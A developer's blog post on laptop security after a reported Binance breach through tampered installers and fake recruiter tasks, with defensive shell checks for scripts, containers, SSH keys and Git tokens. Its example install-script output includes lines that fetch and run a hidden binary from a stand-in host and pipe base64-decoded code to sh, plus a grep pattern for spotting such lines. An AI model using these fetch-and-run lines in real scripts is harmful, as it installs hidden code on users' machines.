How attackers got into Binance through developers’ laptops, and what I found on mine
On 3 November Binance published how attackers got into its hot wallets. About $6.34 billion in assets were hit. The attack did not start with a smart contract or a server. It started on developers’ laptops: one engineer installed a tampered Homebrew package, another ran a “test assignment” from a fake recruiter on his work computer.
In May the same trick was tried on me. I didn’t run the script, but after reading the Binance report I went through my own Mac and found more problems than I expected.
Problem: A developer’s laptop holds the keys to everything: SSH access to servers, Git access to client repositories, hosting panels, wp-admin passwords, deploy tokens. Attackers know it, and they no longer need to break a server when they can get a developer to run one script.
Solution: Treat code from strangers as hostile until you have read it, run it in a container instead of on your main system, install tools only from official sources, and keep every key and token on the laptop in a shape that limits the damage if the laptop is lost or infected. Below is what Binance described, what happened to me, and the checks I ran on my own machine afterwards, with the commands.
What happened at Binance
This is how Binance describes the chain in its report:
- June 2026: an engineer looked for an AI coding tool and installed a tampered Homebrew package. The device was replaced and the credentials rotated, but his role and the people he worked with were already known to the attackers.
- September 2026: a second engineer was contacted on a job platform by a “recruiter”, then had an “interview” with a fake CEO in a chat app. He was asked to run an assignment repository on his work computer. Its setup script replaced a part of pyenv, a normal Python tool, with a malicious version. Endpoint protection did not catch it.
- October 2026: from that computer the attackers worked through an internal AI tool, found a container deployment token on another engineer’s machine, deployed a container and reached the wallet signing service.
Binance says it covers the loss itself and attributes the attack to North Korea. For me the interesting part is how ordinary each step is. A package from a search result. A test task. A token left on a laptop. Every developer I know has done at least one of these.
My own “test task” in May
A “recruiter” from a US company wrote to me about a part-time WordPress role. The email was polite, the signature looked real, and there was a Google Form with questions about my experience. The vacancy itself was a real-looking listing on a remote job board. The next step was to install their “VPN client” before the interview.
I opened the install script before running it. It asked for sudo, installed a package, sent all output to /dev/null and started processes in the background. A VPN client has no reason to hide what it installs. I asked them in writing what exactly the script does, where the official installer is and what its checksum is. Nobody answered, and I reported the form to Google as fraud.
So the first rule is simple: read before you run.
Read every script before you run it
Never pipe an installer from the internet straight into a shell. Download it, look at it, then decide:
$ curl -fsSL https://example.com/install.sh -o install.sh $ less install.sh
A long script is easier to check with grep. These are the lines worth a closer look:
$ grep -nE 'sudo|/dev/null|nohup|disown|base64|eval|curl|wget|chmod \+x|launchctl|crontab|\.ssh|\.aws' install.sh 14:sudo mkdir -p /usr/local/lib/.cache 22:curl -fsSL https://cdn.example.net/agent -o /tmp/.agent 23:chmod +x /tmp/.agent 24:nohup /tmp/.agent >/dev/null 2>&1 & 31:echo "aGVscGVy..." | base64 -d | sh
None of these lines is bad by itself, and real installers use sudo and curl all the time. What should stop you is the mix: a hidden folder, a second download, a binary started in the background with all output thrown away, and encoded code that runs without being shown. If you can’t explain a line, don’t run the script.
The same goes for a “test task” repository. Before npm install, composer install or pip install, look at what runs on install:
$ grep -nE '"(pre|post)?install"|"prepare"' package.json $ grep -n -A5 '"scripts"' composer.json $ cat setup.py Makefile 2>/dev/null | grep -nE 'curl|wget|base64|eval|exec'
Install scripts in package.json and composer.json run with your user’s rights the moment you install dependencies. That is exactly where a trojan sits in a fake assignment.
Run strangers’ code in a container
Reading helps, but obfuscated code can hide well. So code from people I don’t know runs in a container, not on my Mac. The container sees only the folder I give it, not my home folder with ~/.ssh, browser profiles and client files:
$ cd ~/tmp/test-task $ docker run --rm -it -v "$PWD":/app -w /app node:22 bash root@3f2a9c1d:/app# npm install root@3f2a9c1d:/app# ls ~/.ssh ls: cannot access '/root/.ssh': No such file or directory
For PHP the same works with the official php or composer images. When the task does not need the network after installing dependencies, add --network none to the second run, so nothing can call home. On the Mac I use OrbStack as the Docker engine; Docker Desktop or Podman work the same way. A throwaway virtual machine is even better if the task needs a full desktop.
A container is not a perfect wall, but it turns “the script can read every key on my laptop” into “the script can read one test folder”. For a full local WordPress setup in containers see Docker Compose for local WordPress development and rootless containers with Podman.
Install tools only from official sources
The first Binance engineer got a tampered package while searching for a tool. Search ads and look-alike sites are a common way to deliver fake installers, and Homebrew is a favourite because the install command is one line that people copy without reading.
My rules now: Homebrew only from brew.sh, tools from the vendor’s own site or GitHub releases page, and a checksum check when the vendor publishes one:
$ shasum -a 256 ~/Downloads/tool-1.4.2-arm64.tar.gz 9f2c4e... /Users/me/Downloads/tool-1.4.2-arm64.tar.gz
Compare it with the checksum on the release page, not with one sent to you in a message.
While checking my own Homebrew I found it in developer mode. In that mode brew update follows the latest code on the main branch instead of tagged releases. I don’t remember turning it on. It showed up as a strange update error, not as a warning:
$ brew developer Developer mode is enabled. $ brew developer off $ brew developer Developer mode is disabled.
If you never contribute to Homebrew itself, keep it off.
Tokens in Git remote URLs
This one surprised me. Some of my older projects were cloned with an access token in the URL, the way Bitbucket and GitHub sometimes suggest for scripts. The token then lives in .git/config as plain text and shows up every time you look at the remotes:
$ git remote -v origin https://x-token-auth:ATCTT3xFfGN0-example-token@bitbucket.org/team/project.git (fetch) origin https://x-token-auth:ATCTT3xFfGN0-example-token@bitbucket.org/team/project.git (push)
That file is copied into every backup, every archive of the project and every zip you send to someone. Screenshots and pasted terminal output carry it too. To find all of them at once:
$ grep -l '://[^/@]*:[^/@]*@' ~/Sites/*/.git/config /Users/me/Sites/project-a/.git/config /Users/me/Sites/project-b/.git/config
I found five. The fix is in this order: revoke the token in Bitbucket or GitHub first (deleting it from the file does not help the copies already in backups), then switch the remote to SSH:
$ git remote set-url origin git@bitbucket.org:team/project.git $ git fetch $ git remote -v origin git@bitbucket.org:team/project.git (fetch) origin git@bitbucket.org:team/project.git (push)
How to set up the SSH side: SSH keys for Git and Bitbucket.
SSH keys: separate, with passphrases
My hosting key was an old id_rsa without a passphrase, and it was also the key Git used for Bitbucket. Anyone who copied that one file would have had both the server and the code. To check whether a key has a passphrase, try to read it with an empty one:
$ ssh-keygen -y -P "" -f ~/.ssh/id_rsa > /dev/null && echo "NO passphrase" NO passphrase $ ssh-keygen -p -f ~/.ssh/id_rsa Enter new passphrase (empty for no passphrase):
With a passphrase the first command fails with “incorrect passphrase supplied”, which is what you want. Then a separate key for Git, so the server key never leaves the work it is for:
$ ssh-keygen -t ed25519 -f ~/.ssh/git_ed25519 -C "git"
# ~/.ssh/config Host github.com bitbucket.org IdentityFile ~/.ssh/git_ed25519 IdentitiesOnly yes AddKeysToAgent yes UseKeychain yes
UseKeychain is macOS only: the passphrase is stored in the Keychain, so you type it once, not on every push. IdentitiesOnly stops SSH from offering every key in the agent to every host. More on agents: adding a key to ssh-agent permanently, and for the server side key-only SSH login on a WordPress server.
Secrets left on the laptop
In the Binance case the step that turned an infected laptop into a disaster was a deployment token found on another engineer’s machine. Most of us have the same kind of thing lying around: .env files from old projects, database dumps with customer data, exported hosting passwords. A quick look:
$ find ~/Sites -maxdepth 3 -name '.env*' -not -path '*/node_modules/*' $ find ~/Sites ~/Downloads -maxdepth 3 \( -name '*.sql' -o -name '*.sql.gz' \) -size +1M
What I keep to: tokens with the smallest scope and an expiry date, one token per project, and dumps of production databases deleted after the job or moved to an encrypted archive. Old project folders go to an encrypted disk, not into a folder the whole system can read. For keeping secrets out of WordPress config files see secrets management for WordPress.
Why this matters for WordPress clients
A freelancer or an agency developer has access to many sites at once: SFTP, hosting panels, wp-admin, Git repositories, sometimes payment dashboards. Hacking one developer’s laptop is cheaper than hacking twenty sites one by one. The site owner can do everything right, and the site is still only as safe as the machine of the person who maintains it.
That is also why I care about plugin and theme dependencies: a bad update is the same attack, just shipped through a plugin instead of a test task. The checks for the site itself are in what anyone can see on your WordPress site from the outside.
My checklist
- Read every install script before running it, with
lessandgrep. Nocurl | shfrom sites you don’t know. - Run test tasks and unknown repositories in a container or a throwaway VM, never on the machine with client access.
- Install tools from the official site or the GitHub releases page, check the checksum when there is one.
- Homebrew developer mode off unless you work on Homebrew.
- No tokens in Git remote URLs. Revoke them, switch to SSH.
- Separate SSH keys for servers and for Git, each with a passphrase.
- Tokens with a small scope and an expiry date. Old
.envfiles and database dumps deleted or encrypted. - Any “recruiter” who needs you to install something before the interview: ask in writing what it is. A real company will answer.
None of this took more than an evening. Finding the five tokens took one grep.